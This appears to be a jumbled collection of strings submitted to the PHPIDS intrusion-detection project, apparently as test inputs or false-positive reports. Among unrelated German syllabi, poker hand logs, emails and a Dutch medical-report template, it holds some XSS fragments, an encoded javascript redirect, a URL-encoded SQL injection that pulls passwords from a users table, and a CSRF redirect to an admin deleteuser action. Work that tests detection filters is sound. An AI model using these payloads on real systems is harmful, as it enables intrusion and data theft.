- Kulturwissenschaftliche Reflexion (Heranziehung allgemeiner kulturwissenschaftlicher Theorien zur Erklärung eines Sachverhalts, Genauigkeit der Verknüpfung von Theorie und Empirie, Überschreiten der reinen Darstellung durch Einbettung eines Sachverhalts in den weiteren kulturellen und gesellschaftlichen Kontext, Reflexion über Reichweite und Grenzen der behandelten Ansätze)

Für das Qualitätsmerkmal 1 werden 0-10 Punkte vergeben, für die Qualitätsmerkmale 2 bis 4 jeweils 0-5 Punkte. Die Noten für die Hausarbeit errechnen sich wie folgt aus der erreichten Punktzahl:
25 Punkte = 1,0 15 Punkte = 3,0
24-23 Punkte = 1,3 14-13 Punkte = 3,3
22-21 Punkte = 1,7 12-11 Punkte = 3,7
20 Punkte = 2,0 10 Punkte = 4,0
19-18 Punkte = 2,3 9-0 Punkte = 5,0
17-16 Punkte = 2,7

Eine nicht bestandene Hausarbeit (5,0) führt zur Gesamtnote 5,0

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Institutionalisierungsprozesse der Sozialen Arbeit - Gruppe A

iso-8859-1, utf-8, utf-16, *;q=0.1

(HTTP_ACCEPT_CHARSET)

Ist dies eine Frage?
Oder ist das keine Frage?

Bitte rufen Sie mich zurück unter:

Hier steht eine Telefonnummer.

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Its so hard to installation please make it easy and friendly ...... imm02tal@ymail.com

It's a bit strange that plain array assignment - `var x = [1,2,3];` - is considered to be a malicious input.

it's really simple to use (just select the first item from the menu).

IUT de Bourges
Université d'Orléans

I'm a manager here, thank you!

I'm aa manger here thnk yu!

I'm Manager here Thank you!

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Je suis d'origine brésilienne et actuellement je suis étudiante à l'université Pierre et Marie Curie Paris 6
En Licence de Science et Technologies Mention Chimie L3
Votre site ne permet pas nom inscription.
Il donne le message que les inscriptions son achève depuis fin janvier.
Malgré que les inscriptions sons jusqu'au 08/04/10.

Joyce Carol Oates's "*BD* 11 1 86"

Just in case this idea is not Reiners' or it is not mine

Just put in any youtube video string and it returns an impact of 33.

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lfkhldfjldkf<object src="">döfkdöf</object> öksdösdö

Liability Limits (BI/ACC/PD)

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Lohmann, Martin (2009) (in print): Coastal Tourism in Germany - Changing Demand Patterns and New Challenges. in: Dowling, Ross & Pforr, Christoph (Eds.): Coastal Tour-ism Development - Planning and Management Issues. Elmsford, N.Y. (Cognizant)

Lohmann, Martin; Sierck, Astrid & Grimm, Ben-te (2007): Seniorenreisen mit Zukunft - Ak-tuelle Daten und Trends zum Urlaubsmarkt der Best Ager. Kiel (Forschungsgemeinschaft Urlaub und Reisen)

Lohmann, Martin & Sonntag, Ulf (2006): Die Reiseanalyse als Instrument der Marketing-planung. In: Bachleitner, Reinhard u.a. (Eds.): Innovationen in der Tourismusforschung: Me-thoden und Anwendungen. Wien/Berlin (Lit Verlag), pp 77 - 89

Lohmann, Martin; Aderhold, Peter & Zahl, Ben-te (2004): Urlaubsreisetrends 2015 - Die RA Trendstudie. Kiel (Forschungsgemeinschaft Urlaub und Reisen)

,

lol

l,,

lñ´lkñklñjklhlhjlhjklklñlkjhf

Madame, Monsieur,
J'ai envoye mon dossier de candidature le mois dernier et je n'ai pas eu
confirmation de sa reception. Par consequent je suis un peu inquiet, de plus je ne
suis pas en france en ce moment (stage Erasmus). Cela est-il normal? Pourriez-vous
me confirmer que vous avez recu mon dossier? Merci d'avance.
Cordialement

Man chand ta ebham daram:
1- too shekl e avval 10 ta noghte nadarim. bishtar az 10 ta noghtast
2- too shekl e avval faseleye noghte ha az ham ke 1 nist. Bazi ha bishtar fasele daran.
3- vaghti mokhtassat ro midim x=1, y=1 che noghteyee ro mide?
4- aslan MIDE yani chi? yani chizi chap mikone? ya inke chizi rasm mikone?
Omidvaram ke vaght e shoma tamoom nashode bashe. Dar soorati ke fekr mikonid ke vaghtetoon dare tamoom mishe, man bishtar az in mozahem e shoma nemisham.

mAROKKO"==(

merci

mit:
CC (junger Europakandidat von B90/Grüne)
dir + vielen anderen

Wann + wo?
Mi., 20.05., 12-13:30 Uhr, Mensa
Europäische Grüße,

mMCsUkbIlUALpVfs29s2fH8uX9devYkLwbVWeTdjkU7RQL90kJ2CcJwX-2gYO68

mmmm

MoodleSession=01gl93hdc6hj4p99kuaftv9kb0; path=/;MoodleSessionTest=Q9nTM08Uez; path=/;MOODLEID_=deleted; expires=Sat, 01-Aug-2009 12:35:44 GMT; path=/;

mt4/index/page:1/sort:status/direction:asc

My idea is to move the text from here to --> there

my mama wants to "select something from the store"

My uncle (joe@imports.com) is a nice guy

my 'father' and me gone fishing

Nadolny, Sten (2006): Die Entdeckung der Langsamkeit. Roman. 41. Aufl. München: Piper (Serie Piper, 700).
Seiwert, Lothar J. (2005): Wenn du es eilig hast, gehe langsam. Mehr Zeit in einer beschleunigten Welt. 10. Aufl. Frankfurt: Campus-Verl.
Klein, Stephan (2003): Selbstmanagement und beruflicher Fortschritt. Entwicklung, Evaluation und Vergleich eines Trainingsprogramms. (Dissertation) http://nbn-resolving.de/urn/resolver.pl?urn=urn:nbn:de:hebis:04-z2002-00947
Covey, Stephen R.; Merrill, A. Roger; Merrill, Rebecca R.; Mader, Friedrich (2005): Der Weg zum Wesentlichen. Zeitmanagement der vierten Generation. Jubiläumsausg. Frankfurt: Campus-Verl.
Deister, Winfried (2005): Der 48-Stunden-Tag. Zeitmanagement für Schulleitungen. München: Luchterhand (Schulmanagement konkret, 4)

null
location=window.name//

null,location=window.name//

nw9#

o86r

On second thoughts, consider the following:

x + 2 = 3

In this case, x must be 1.

or a=a

or such ') asDF'

Oui,
Un DUT Génie Civil que j'ai obtenu l'an dernier (Bac+2)

Une licence professionnelle "Choix constructifs à qualité environnementale"
(Bac+3)

Password: 354dtr./*

PEEgSFJFRj0iamF2YXNjcmlwdDpkb2N1bWVudC5sb2NhdGlvbj0naHR0cDovL3d3dy5nb29nbGUu

Personal message from one of my forum visitors Text .. Text Text Text TextText Text Text Text TextText. TextTextTextText Text Text Text TextText, Text Text Text Text :-/ [QUOTE=Name]Text Text Text Text Text Text Text. Text Text Text Text! Text Text Text Text Text Text Text Text Text Text Text Text, Text Text! Text Text: [URL="http://mysite.com/us-en/mypage.aspx?p=typ/whatever"]Text[/URL] Text Text Text Text Text Text: Text Text - Text Text TEXT. Text Text Text Text Text. Text Text Text Text Text! Text Text Text?? [QUOTE=Name] Text .. Text Text Text Text Text Text[QUOTE=Name] Text! Text! :juhu: Text Text Text Text Text ! Text Text Text Text Text... ???? *ggg* Text Text Text Text. :help:[/QUOTE][/QUOTE][/QUOTE] ,

PHP Serialized objects trip many ids filters. Perhaps create a check for a serialized object and then flag it as ok.

Please klick on "select"

Please let me the document - while it's fresh and current.

plop

PokerStars Game #31432553902: Tournament #185923836, $1.00+$0.10 USD Hold'em No Limit - Level I (10/20) - 2009/08/09 12:07:05 PT [2009/08/09 15:07:05 ET]
Table '185923836 5' 9-max Seat #5 is the button
Seat 1: luisao_wayne (3020 in chips)
Seat 2: o:::{]SWORD> (1490 in chips)
Seat 4: Woozy`05 (730 in chips)
Seat 5: EMMAFREDO (1460 in chips)
Seat 6: Nigges (1480 in chips)
Seat 7: obstler max (1500 in chips)
Seat 8: albertalbert (1500 in chips)
Seat 9: Seyor (2320 in chips)
Nigges: posts small blind 10
obstler max: posts big blind 20
*** HOLE CARDS ***
Dealt to albertalbert [7s 7c]
albertalbert: calls 20
Seyor: folds
luisao_wayne: calls 20
o:::{]SWORD>: folds
Woozy`05: raises 20 to 40
EMMAFREDO: folds
Nigges: folds
obstler max: calls 20
albertalbert: calls 20
luisao_wayne: raises 2980 to 3020 and is all-in
Woozy`05: calls 690 and is all-in
obstler max: folds
albertalbert: folds
Uncalled bet (2290) returned to luisao_wayne
*** FLOP *** [Js 5c Qs]
*** TURN *** [Js 5c Qs] [9d]
*** RIVER *** [Js 5c Qs 9d] [Qh]
*** SHOW DOWN ***
luisao_wayne: shows [Ac Ks] (a pair of Queens)
Woozy`05: shows [4h 4s] (two pair, Queens and Fours)
Woozy`05 collected 1550 from pot
*** SUMMARY ***
Total pot 1550 | Rake 0
Board [Js 5c Qs 9d Qh]
Seat 1: luisao_wayne showed [Ac Ks] and lost with a pair of Queens
Seat 2: o:::{]SWORD> folded before Flop (didn't bet)
Seat 4: Woozy`05 showed [4h 4s] and won (1550) with two pair, Queens and Fours
Seat 5: EMMAFREDO (button) folded before Flop (didn't bet)
Seat 6: Nigges (small blind) folded before Flop
Seat 7: obstler max (big blind) folded before Flop
Seat 8: albertalbert folded before Flop
Seat 9: Seyor folded before Flop (didn't bet)

Its the standard hand format in Pokerstars

PokerStars Game #33267693242: Hold'em No Limit ($0.02/$0.05 USD) - 2009/09/26 2:18:10 AEST [2009/09/25 12:18:10 ET]
Table 'Slipher' 9-max Seat #6 is the button
Seat 1: ShadowMU ($9.05 in chips)
Seat 2: jdfm007 ($6.15 in chips)
Seat 3: Rhaegar99 ($4.07 in chips)
Seat 4: winnerpark ($5 in chips)
Seat 5: PK(ing)_1988 ($4.93 in chips)
Seat 6: ling-bahh ($4.07 in chips)
Seat 7: Mr_Loo11 ($2.95 in chips)
Seat 8: efrain99 ($2.06 in chips)
Seat 9: RickyMai ($1.74 in chips)
Mr_Loo11: posts small blind $0.02
efrain99: posts big blind $0.05
*** HOLE CARDS ***
Dealt to Rhaegar99 [Qs As]
RickyMai: folds
ShadowMU: calls $0.05
jdfm007: calls $0.05
Rhaegar99: calls $0.05
winnerpark: folds
PK(ing)_1988: folds
ling-bahh: folds
Mr_Loo11: raises $0.25 to $0.30
efrain99: folds
ShadowMU: calls $0.25
jdfm007: folds
Rhaegar99: calls $0.25
*** FLOP *** [5s 8s 7c]
Mr_Loo11: bets $0.95
ShadowMU: folds
Rhaegar99: raises $2.82 to $3.77 and is all-in
Mr_Loo11: calls $1.70 and is all-in
Uncalled bet ($1.12) returned to Rhaegar99
*** TURN *** [5s 8s 7c] [Qd]
*** RIVER *** [5s 8s 7c Qd] [7s]
*** SHOW DOWN ***
Mr_Loo11: shows [Kc Ac] (a pair of Sevens)
Rhaegar99: shows [Qs As] (a flush, Ace high)
Rhaegar99 collected $6 from pot
*** SUMMARY ***
Total pot $6.30 | Rake $0.30
Board [5s 8s 7c Qd 7s]
Seat 1: ShadowMU folded on the Flop
Seat 2: jdfm007 folded before Flop
Seat 3: Rhaegar99 showed [Qs As] and won ($6) with a flush, Ace high
Seat 4: winnerpark folded before Flop (didn't bet)
Seat 5: PK(ing)_1988 folded before Flop (didn't bet)
Seat 6: ling-bahh (button) folded before Flop (didn't bet)
Seat 7: Mr_Loo11 (small blind) showed [Kc Ac] and lost with a pair of Sevens
Seat 8: efrain99 (big blind) folded before Flop
Seat 9: RickyMai folded before Flop (didn't bet)

POST /mystudy13/veranstaltungBearbeiten/erfassen?tag_0=Donnerstag&beginn_zeit_0=16:15:00&ende_zeit_0=17:45:00&standort_id_0=2&raum_id_0=32&rhythmus_id_0=1&from=raumplan HTTP/1.1

Posted by aungkhant (yehg.net)

This is a valid string, but php-ids denies it.

http://www.nextag.com/norob/ClickTracker.jsp?seller=AmazonIT&sellerid=777780&tag=668485064&url=http%3A%2F%2Fwww.amazon.com%2Fdp%2FB001DXZH06%3Fsmid%3DA3SPLR0MSOYZ8O%26tag%3Dnextag-ce-tier3-delta-20%26linkCode%3Dasn&product=617813805&chnl=main&lgsearch=&ctx=DnLNX7a1oeRupdltCqTV%2FKTX57KEWmv6cjEbs%2FvcxoCHMJtrHAPFO87HuD3yoyaLvFtWMnO8XAL%2BZom%2BJX56ssJmJSwWNaOyf50VTqhuvsw%2FtAw9DEHgt7PGw47PrRM6%2BpNJ0CHZmUwQf9%2BiIg2Bxf9NEwuuMv4MBYWqy%2FX1bH0%3D

Protecting+Aussie+Internet+Users+for+$190+Million

Protocol Local File Enumeration

Question: Any sentence with a colon and a questionmark? If not, in anyword?

q=sites/hm/files/imagecache/thumb-news-image/CNN--red--111_10.jpg

rakesh@yahoo.com

Redirect 302 /a.jpg http://victimsite.com/admin.asp&deleteuser

retret

Ringvorlesung "Zeit" - 23. Juni

Rinvorlesung "Zeit" - 23. Juni

rLzdZPjhczozMjoiNTE3NjMzMTk5MDE5MjY5OCM5NTgjMDUvMjAwOSNVU0QiOw==

run();

if (!$result->isEmpty()) {
require_once 'IDS/Log/File.php';
require_once 'IDS/Log/Composite.php';

//Log all scores
$compositeLog = new IDS_Log_Composite();
$compositeLog->addLogger(IDS_Log_File::getInstance($init));
$compositeLog->execute($result);
}

//reset the include path
set_include_path($path);
}
}
Event::add('system.ready', array('Phpidsloader', 'load'));
?>

R&D=research_and_developement

s1%3D0%3F%27%27%3A%27i%27%3Bs2%3D0%3F%27%27%3A%27fr%27%3Bs3%3D0%3F%27%27%3A%27ame%27%3Bi1%3Ds1%2Bs2%2Bs3%3Bs1%3D0%3F%27%27%3A%27jav%27%3Bs2%3D

sdfs

sdfsdf

sdfsdfsdfsdf

sdsdf

search google books for "Understanding cultural differences:Germans, French and Americans" and read particularly about the... Germans. What do you agree with in this book? Disagree?

SecurityException
Total impact: 14
Affected tags: xss, csrf, id, sqli, lfi

Variable: ZEND.layoutFullContent | Value: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html> <head> <title></title>
Impact: 14 | Tags: xss, csrf, id, sqli, lfi
Description: finds html breaking injections including whitespace attacks | Tags: xss, csrf | ID: 1
Description: Detects common comment types | Tags: xss, csrf, id | ID: 35
Description: Detects basic SQL authentication bypass attempts 2/3 | Tags: sqli, id, lfi | ID: 45

I somehow get my layout from the Zend Framework filtered, even when I'm justing passing the request params. Whatever, have a look at the html code, it's detected as SQL Injection, that's wrong, it's pure HTML.

thx for your project and work

Best, Chris

Sehr geehrter Herr Klein,

wie veranstalten am 5.12.2009 in Rust bei Freiburg (D) eine \"night of music arts 2009\".
Dort werden einige Künstler auftreten, und wir geben einer jungen Band die Möglichkeit selbst dort auftreten zu können.

Auf unserer Webseite unter \"Event\" finden Sie weitere Informationen dazu.

Da wir eine Band noch suchen und die Veranstaltung auch im Internet auf einer eigenen Seite präsentieren möchten, haben wir an myspace.com gedacht.
Da dies der einfachste Draht zu anderen Künstlern ist.

Hierfür bräuchten wir jmd, der uns die Seite so schnell wie möglich einrichten kann.

Könnten Sie uns bei der Gestaltung, Bilder einfügen usw. helfen? Da wir uns damit leider wenig auskennen.

Fotos, Text und wichtige Informationen sowie Logos würde ich Ihnen zukommen lassen.

Die Seite soll ansprechend ausschauen, elegant und vllt in den Farben lila/schwarz/weiß.

Wir würden uns sehr freuen, wenn Sie uns bei der Gestaltung helfen könnten.

Was würden Sie hierfür ca. verlangen?

Mit besten Grüßen

Tanja Volk

--
Tanja Volk Agentur
SHOW - EVENT - BOOKING

Lerchenweg 7
D-68535 Edingen-Neckarhausen

Tel.: 0049-172-8562692
0043-664-3245461

Email: info@tanjavolkagentur.de

www.tanjavolkagentur.de

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SELECT inet_server_port();

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it is a false negative

Seminar "Vergaberecht" (1)
Seminar "Mediation" (2)
Seminar "Energierecht" (3)
Seminar "Internationaler Unternehmenskauf

SEMINARPLAN

(1) Geschichtliche Einführung in das Humboldtsche Bildungsideal - Vorstellung und Vergabe der Referatthemen

(2) Wilhelm von Humboldt-Primärtexte I:
Gemeinsame Lektüre und Interpretation des Textes: Ideen zu einem Versuch, die Grenzen der Wirksamkeit des Staats zu bestimmen (1792). In: Humboldt, ed. Weinstock 1957, S. 21-55.

(3) Wilhelm von Humboldt-Primärtexte II (Referat 1 und 2):
Referat 1: Theorie der Bildung des Menschen. In: Humboldt, ed. Flitner 1956, S. 27-32. [Zahlreiche weitere Veröffentlichungen, u.a. in: Humboldt, ed. Weinstock 1957, S. 56-59 und Humboldt, ed. Püllen 1964, S. 5-10.]
Referat 2: Über das Studium des Alterthums, und des griechischen insbesondere (1793). In: Humboldt, ed. Flitner 1956, S. 12-27.

(4) Wilhelm von Humboldt-Primärtexte III (Referat 3 und 4):
Referat 3: Über den Geist der Menschheit (1797). In: Humboldt, ed. Weinstock 1957, S. 60-66.
Referat 4: Plan einer vergleichenden Anthropologie (1797). In: Humboldt, ed. Flitner 1956, S. 32-59.

(5) Wilhelm von Humboldt-Primärtexte IV (Referat 5 und 6):
Referat 5: Über die Sprache als Ausdruck eigentümlicher Geistesform (1806). In: Humboldt, ed. Flitner 1956, S. 116-119. [Auszug aus ‚Latium und Hellas oder Betrachtungen über das classische Alterthum’ (1806)]
Referat 6: Über den Charakter der Griechen, die idealische und historische Ansicht desselben (1806). In: Humboldt II, ed. Flitner/Giel 1961, S. 65-72.

(6) Wilhelm von Humboldt-Primärtexte V (Referat 7 - 9):
Referat 7: Antrittsrede in der Berliner Akademie der Wissenschaften (1809). In: Humboldt, ed. Flitner 1956, S. 68-69.
Referat 8: Der Königsberger Schulplan (1809). In: Humboldt, ed. Flitner 1956, S. 69-76.
Referat 9: Der Litauische Schulplan (1809). In: Humboldt, ed. Flitner 1956, S. 76-82.

(7) Wilhelm von Humboldt-Primärtexte VI (Referat 10 - 12):
Referat 10: Über die innere und äußere Organisation der höheren wissenschaftlichen Anstalten in Berlin (1810). In: Humboldt, ed. Flitner 1956, S. 82-90.
Referat 11: Über die Bedingungen, unter denen Wissenschaft und Kunst in einem Volke gedeihen (Bruchstück) [1814] In: Humboldt, ed. Flitner 1956, S. 90-95.
Referat 12: Über die Aufgabe des Geschichtschreibers [1821]. In: Humboldt, ed. Flitner 1956, S. 96-110.

(8) Georg Wilhelm Friedrich Hegel-Primärtexte (Referat 13 - 15):
Referat 13: Über den Unterricht in der Philosophie auf Gymnasien (1822). In: Hegel, Werke 11, 1970, S. 31-41.
Referat 14: Einleitung zu den Vorlesungen über die Philosophie der Geschichte (1822/23 - 1830/31). In: Hegel, Werke 12, S. 11-105.
Referat 15: Zweck der Kunst - Historische Deduktion des wahren Begriffs der Kunst (1820/21 - 1828/29). In: Hegel, Werke 13, S. 64-99.

(9) Humboldt-Rezeption - Sekundärtexte I (Referat 16 - 18):
Referat 16: Johann-Albrecht von Rantzau: Wilhelm von Humboldt. Der Weg seiner geistigen Entwicklung. München 1939.
Referat 17: Andreas Flitner: Einführung zu Wilhelm von Humboldts Schriften zur Anthropologie und Bildungslehre. In: Humboldt, ed. Flitner 1956, S. 133-144.
Referat 18: Heinrich Weinstock: Menschenbild und Menschenbildung. In: Humboldt, ed. Weinstock 1957, S. 7-20.

(10) Humboldt-Rezeption - Sekundärtexte II (Referat 19 - 21):
Referat 19 + 20: Eduard Spranger: Wilhelm von Humboldt und die Reform des Bildungswesens. Unveränderte Neuausgabe mit Nachträgen. Tübingen 1960. (Erstauflage 1910)
Referat 21: Joachim Heinrich Knoll/Horst Siebert: Wilhelm von Humboldt. Politik und Bildung. Heidelberg 1969.

(11) Humboldt-Rezeption - Sekundärtexte III (Referat 22 - 24):
Referat 22: Dieter Heckelmann: Wilhelm von Humboldt und die Berliner Universität bis zur Freien Universität. In: Humboldt, ed. Schlerath 1986, S. 17-28.
Referat 23: Bernfried Schlerath: Die Geschichtlichkeit der Sprache und Wilhelm von Humboldts Sprachphilosophie. In: Humboldt, ed. Schlerath 1986, S. 212-238.
Referat 24: Hagen Schulze: Humboldt und das Paradox der Freiheit. In: Humboldt, ed. Schlerath 1986, S. 144-168.

(12) Referat des Dozenten:
Die Bildungskonzeptionen der Republikaner und Demokraten im amerikanischen Präsidentschaftswahlkampf.

(13) Das Humboldtsche Bildungsideal und die Reformkonzeptionen der Gegenwart - Resümee der Semesterergebnisse., sonstiges=Bei Fragen vor Seminarbeginn am 10. Oktober wenden Sie sich bitte telefonisch (089-225475) oder per E-Mail (Gerhard.Straehle[at]t-online.de) an den Dozenten.
Begleitveranstaltung der Tutorin zur Informationskompetenz: siehe Moodle "Tutorium zum wissenschaftlichen Arbeiten 27" im Modul "Wissenschaft macht Geschichte"
24. Oktober 18.15 – 19.45 Uhr
12. Dezember 18.15 – 19.45 Uhr

Sir,
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Spontaneindruck vom 7.4.09
1. - "Märchencharakter"
- schwierige Themen: Leid, Armut, Sterben
- traurig und bedrückend, trotzdem hoffnungsvoll

2. - welche Bedeutung hat die Pforte, warum lässt sie sich nie wieder öffnen, nachdem sie einmal geschlossen wurde?
- warum kehren sie wiederholt zum Bauern zurück und entscheiden sich erst zu bleiben, nachdem die Schule beendet ist?
- wofür steht Sonnenau? Ist es das Paradies, in das sie kommen, wenn sie gestorben sind? Oder ist es nur ihre Phantasie, die Sonnenau entstehen lässt?

3. - In "Sonnenau" geht es um zwei Waisenkinder die in einer grauen, kalten Welt ohne Liebe leben in der es keine Hoffnung gibt. Erst als ein roter Vogel ihnen den Weg nach "Sonnenau" weist, finden sie einen Ort an dem sie all das erfahren, was sie entbehren mussten und wonach sie sich gesehnt haben.

Reflexion des Spontaneindrucks zu
1. - mittlerweile empfinde ich die Geschichte vor allem als hoffnungsvoll und weniger bedrückend als vorher
2. das Schließen der Pforte steht für die Entscheidung in welcher Welt sie leben möchten, die Matthias und Anna treffen müssen. Das es dabei nur um sie geht, verdeutlicht die tatsache, dass es keine anderen Kinder gibt, die Sonnenau durch die Pforte besuchen.
- Sie entscheiden sich für Sonnenau, nachdem es keine Hoffnung mehr auf eine Verbesserung ihrer Lebensumstände beim Myrabauern gibt. Die Entscheidung fällt ihnen leicht, ihr Gehorsam dem myrabauern gegenüber ist weniger stark, als die Sehnsucht auf ein glückliches Leben in Sonnenau.
- ich finde keine Textbelege dafür, dass Sonnenau mit ihrem Tot in Verbindung steht, oder aber dafür, dass es Sonnenau nur in ihrer Phantasie gibt..

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Students with no background in economics should learn to "think like an economist" and to apply the methods and instruments of microeconomics to real world situations with a focus on the government and nonprofit sectors. The basic tools learned in this course will be applied in other courses that deal with special topics in economics

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"Gering = 1
Mittel = 2
Hoch = 3

Alle Bewertungen aufsummieren und 3 abziehen = eine 1 beim bestmöglichen Szenario (-3 wegen Normalisierung)"

kind regards
Alex

The invention of 'high art' (2)

the-open-championship-2010

this is a very very very true positive, and the demo in this site not recognise this expression urlencoded.

I get this code in http://evil.hackademix.net/sqlit/

regards.

http://noscript.net/showuser.asp?id=-1%20%55%4e%49%4f%4e%20%41%4c%4c%20%53%45%4c%45%43%54%20%70%61%73%73%77%6f%72%64%2c%20%70%61%73%73%77%6f%72%64%2c%20%70%61%73%73%77%6f%72%64%2c%20%70%61%73%73%77%6f%72%64%2c%20%70%61%73%73%77%6f%72%64%20%46%52%4f%4d%20%75%73%65%72%73%20%57%48%45%52%45%20%75%73%65%72%6e%61%6d%65%20%49%53%20%4e%55%4c%4c%20%2d%2d%20

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VERANSTALTUNGSÜBERSICHT, LITERATURLISTE SOWIE LITERATUR ZU DEN VORLESUNGEN UND WORKSHOPS STEHEN UNTER "MATERIAL" ZUM DOWNLOAD BEREIT

9. Oktober 18:15-19:45 im C HS 3
(V) Hochschulentwicklung im 21. Jahrhundert - Aktuelle Trends und mögliche Alternativen
Dr. Andreas Keller, Leiter des Vorstandsbereichs Hochschule und Forschung GEW

16. Oktober 18:15-19:45 im C HS 3
(V) Hochschulsysteme in ihrer historischen Entwicklung. Gemeinsamkeiten und Unterschiede der deutschen, französischen, englischen und amerikanischen Hochschulentwicklung seit 1750
Dr. Detlef Gaus, Leuphana Universität Lüneburg

23. Oktober 18:15-19:45 im C HS 3
(V) Von der Ordinarien- über die Gruppenuniversität zur “unternehmerischen Hochschule”. Funktionswandel von Wissenschaft und Bildung
Torsten Bultmann, Bundesgeschäftsführer BdWi

30. Oktober 17:15 [!] – 18:45 im C HS 3
[SONDERTERMIN]
(V) Tagungsvortrag zur Rolle "Kritischer Wissenschaften" an Hochschulen und in der Gesellschaft
In Kooperation mit den VeranstalterInnen der Tagung "Perspektiven Kritischer Kommunikations- und Medientheorien"
Prof. Dr. Heinz Steinert

6. November 18:15-19:45 im C 3.102
(W) Reform oder Revolution. Zur Kritik der Bildung.
Roger Behrens, Leuphana Universität Lüneburg

13. November 18:15-19:45 im C HS 3
(V) Die Funktion der Hochschule im (Spät-)Kapitalismus
Dr. Marcus Hawel, Leibniz Universität Hannover

20. November 18:15-19:45 im C 3.102
(W) Diskussion: Welche Aufgaben und welches Selbstverständnis sollten Hochschulen haben?
Studentische Moderation Team Alternative DenkRäume

27. November 18:15-19:45 im C HS 3
(V) Bildung im neoliberalen Wettbewerbsstaat: vom öffentlichen Gut zur marktförmigen Ware
Dr. Ralf Ptak, Universität Köln

4. Dezember 18:15-19:45 im C HS 3
(V) Neoliberalismus und Demokratieabbau: Struktur(veränderung)en von Hochschulgremien
Dr. Bettina Lösch, Universität Köln

11. Dezember 18:15-19:45 im C HS 3
(V) Gouvernementalität und "unternehmerisches Selbst" – Flexibilität, Kreativität und Eigenverantwortlichkeit als neoliberale Dogmen
Lars Gertenbach, Friedrich-Schiller-Universität Jena

18. Dezember 18:15-19:45 im C 3.102
(W) Gouvernementalität und das "studentische unternehmerische Selbst“ - Analysen u. Diskussion anhand des Leuphana-Bachelor/Master-Modells
Studentische Moderation Team Alternative DenkRäume

8. Januar 18:15-19:45 im C HS 3
(V) Hochschule und symbolische Gewalt. Wie „Qualität“ Machtverhältnisse verschleiert und Qualität reduziert.
Lars Schmitt, Philipps-Universität Marburg

15. Januar 18:15-19:45 im C 3.102
(W) Zur Rolle der Studierenden in Hochschule und Gesellschaft
Prof. Dr. Wolfgang Nitsch

23. [!] Januar 18:00-20:00 im C HS 1 und HS 2 [SONDERTERMIN]
Podiumsdiskussion: Brennpunkt Hochschulpolitik: Welche Hochschule wollen wir? Universitäten im Spannungsfeld von unternehmerischem Denken, gesellschaftlicher Verantwortung und freien Wissenschaften
In Kooperation mit den VeranstalterInnen des Moduls "Wissenschaft macht Geschichte" im Leuphana-Semester 08/09
Prof. Dr. Sascha Spoun (Präsident der Leuphana Universität Lüneburg), Dr. Daniela De Ridder (CHE), Dr. Andreas Keller (GEW), Prof. Dr. Reinhard Brandt (Prof. für Philosophie- u. Universitätsgeschichte, Universität Marburg); Moderation: Sonja Staack (BdWi)

29. Januar 18:15-19:45 im C 3.102
(W) Perspektiven einer alternativen, sozialen und demokratischen Hochschulreform
Studentische Moderation Team Alternative DenkRäume

Verslag betreffende
Naam: Testkees T.
Geboren: 11-11-1969 bsn: 223456789

Geachte heer,

In de periode periode werd op Uw verzoek naam fysiotherapeutisch behandeld. Ik verwijs naar mijn vorige verslag(en) waarin:

Inventarisatie hulpvraag: via DTF
begindatum / fysiotherapeutische diagnose: 06-04-2009 been
overige aanv. verwijsgegegevens: overige aanvullende verwijsgegevens
evt. Consultvraag: Consultvraag

Contactreden / Hulpvraag patient: Contactreden / Hulpvraag patient en / of betrokkene(n)

Ervaren van functioneren: Ervaren van problemen met functioneren
Med. voorgeschiedenis: Medische voorgeschiedenis

behandeldoel: Beoogd eindresultaat / hoofddoel
Therapie bestond uit: geplande verrichtingen / aard behandeling
evt. byzondere of voorbehouden behandeling: Toestemming voor eventuelele byzondere of voorbehouden behandeling

Prognose (indien mogelijk): Verandering gezondheidstoestand

Datum / Reden van beëindiging behandeling: Datum / Reden afsluiting
Datum / Verslagleging aan verwijzer: Datum / Verslaglegging aan verwijzer

Ik vertrouw erop U hiermee voldoende te hebben geïnformeerd, en teken met vriendelijke groet,

Fysiotherapeut

vervollständigte SEMPER-Tabelle zur Präsentation "Ordnungsrechtlicher Rahmen" - Hansen, Lindner, Schmaering

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vásároljon 14"-os laptopot

Its in hungarian language. It means in English: buy a 14" laptop

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<p><span style=\"font-family:georgia, palatino;\"><span style=\"font-size:small;\">Well. Another year and another trip to Baltimore. Wow was I underwhelmed! Same old people, same old exhibitors, same old stuff. I even ate at the same old restaurant across the street with the same old lame service and bad food.</span></span></p>
<p>&nbsp;</p>
<p><span style=\"font-family:georgia, palatino;\"><span style=\"font-size:small;\">I don\'t know what it is. Maybe it\'s just me. I always end up in Baltimore. It\'s like an addiction to popsicles. They are really good for the first half a dozen or so then your mouth gets numb and it becomes a chore. I think what finally did me in was those absolutely fantastic $5 burgers in the food court or trying to keep up with my Gothic office manager that I allowed to come along with me this year. I spent the entire time I was there telling people I had no idea where she was and she would eventually show up all the while lstening to them calling her my \'mystery girl\' and they weren\'t sure if she actually existed or not.</span></span></p>
<p>&nbsp;</p>
<p><span style=\"font-family:georgia, palatino;\"><span style=\"font-size:small;\">Once she did finally show up, no one wanted to talk to me anymore .... but&nbsp;I digress...</span></span></p>
<p>&nbsp;</p>
<p><span style=\"font-family:georgia, palatino;\"><span style=\"font-size:small;\">I don\'t know what it was but it all seemed less grand this year. There didn\'tseem to be the same sparkle as before, the amount of people that came seemed less, there was absolutely nothing new to be found anywhere in the entire complex. I think it just finally got old for me.</span></span></p>
<p>&nbsp;</p>
<p><span style=\"font-family:georgia, palatino;\"><span style=\"font-size:small;\">Is it justy me or does there seem to be an absolute lack of ingenuity in this industry anymore? I mean I haven\'t seen anything new come along that has made me say \'wow! that\'s just a cool idea!\' The only thing that remotely surprised me was the Metro zero degree med duty bed. I saw it, It did not impress me anymore than the Galaxy I already owned. I felt like asking the salesman \'why didn\'t you at least give it a decent paint job?\' It seems foolish to me to bring an unpolished display where tens of thousands of towers are going to examine it and pick it apart. Why bother?</span></span></p>
<p>&nbsp;</p>
<p><span style=\"font-family:georgia, palatino;\"><span style=\"font-size:small;\">Oh my gawd! I sound like the ulrimate whiner! You know, alst year I came with about 500 TowTalk T shirts. I spent the entire weekend dragging a suitcase behind me handing them out. People seemed thankful and I liked&nbsp; promoting my site but at the same time, I didn\'t get to spend one minute talking to people or checking out th0 diplays so this year I decded I wasn\'t bringing anything but myself.</span></span></p>
<p>&nbsp;</p>
<p><span style=\"font-family:georgia, palatino;\"><span style=\"font-size:small;\">I should have brought T shirts. I realized that last year, I really hadn\'t missed anything.</span></span></p>
<p>&nbsp;</p>
